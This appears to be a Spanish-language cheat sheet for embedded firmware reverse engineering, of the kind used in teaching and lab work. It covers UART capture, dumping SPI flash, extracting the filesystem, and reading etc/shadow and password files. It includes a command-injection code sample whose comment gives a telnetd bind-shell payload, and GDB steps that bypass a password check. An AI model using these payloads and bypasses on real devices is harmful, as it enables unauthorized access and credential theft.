Hardware Hacking & Embedded Firmware RE

# 1. Capturar 5 segundos de señal en el canal 0 a una tasa de muestreo de 12MHz
sigrok-cli --driver fx2lafw --config samplerate=12MHz --time 5s -o uart_capture.sr

# 2. Decodificar la señal UART capturada probando baudrate de 115200
sigrok-cli -i uart_capture.sr -P uart:baudrate=115200:rx=0 -B uart=ascii

# 3. Conectarse a la consola serie interactiva en Linux
picocom -b 115200 /dev/ttyUSB0

# 1. Identificar el chip SPI conectado al Bus Pirate
sudo flashrom -p buspirate_spi:dev=/dev/ttyUSB0

# Salida esperada: Found Winbond flash chip "W25Q64.V" (8192 kB, SPI).

# 2. Volcar la memoria completa de 8MB a un archivo binario raw
sudo flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r firmware_dump.bin

# 3. Verificar la integridad realizando una segunda lectura y comparando hashes SHA256
sudo flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r firmware_dump2.bin
sha256sum firmware_dump.bin firmware_dump2.bin

# 1. Analizar firmas de compresión dentro del binario
binwalk firmware_dump.bin

# 2. Extraer automáticamente todos los sistemas de archivos detectados
binwalk -e --rm firmware_dump.bin

# 3. Navegar por el sistema de archivos raíz extraído
cd _firmware_dump.bin.extracted/squashfs-root
cat etc/shadow
grep -rn "password" etc/ scripts/

/* Function: process_http_request (Vulnerable Code Identified in Ghidra) */
void process_http_request(char *user_input) {
    char cmd_buf[128];
    // VULNERABILIDAD CRÍTICA: Inyección de Comandos OS debido a sprintf insalubre
    sprintf(cmd_buf, "ping -c 1 '%s'", user_input);
    system(cmd_buf); // Se puede pasar "; telnetd -p 4444 -l /bin/sh #"
}

# 1. Iniciar servidor OpenOCD para un SoC ARM Cortex-M4 con interfaz ST-Link o J-Link
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg

# 2. Conectarse con GDB multiarquitectura (gdb-multiarch)
gdb-multiarch ./vulnerable_elf

# 3. Comandos interactivos de GDB para eludir validación de contraseña:
(gdb) target remote localhost:3333
(gdb) monitor reset halt
(gdb) break check_admin_password
(gdb) continue
# Al detenerse en el breakpoint, forzar retorno de éxito (r0 = 1):
(gdb) set $r0 = 1
(gdb) continue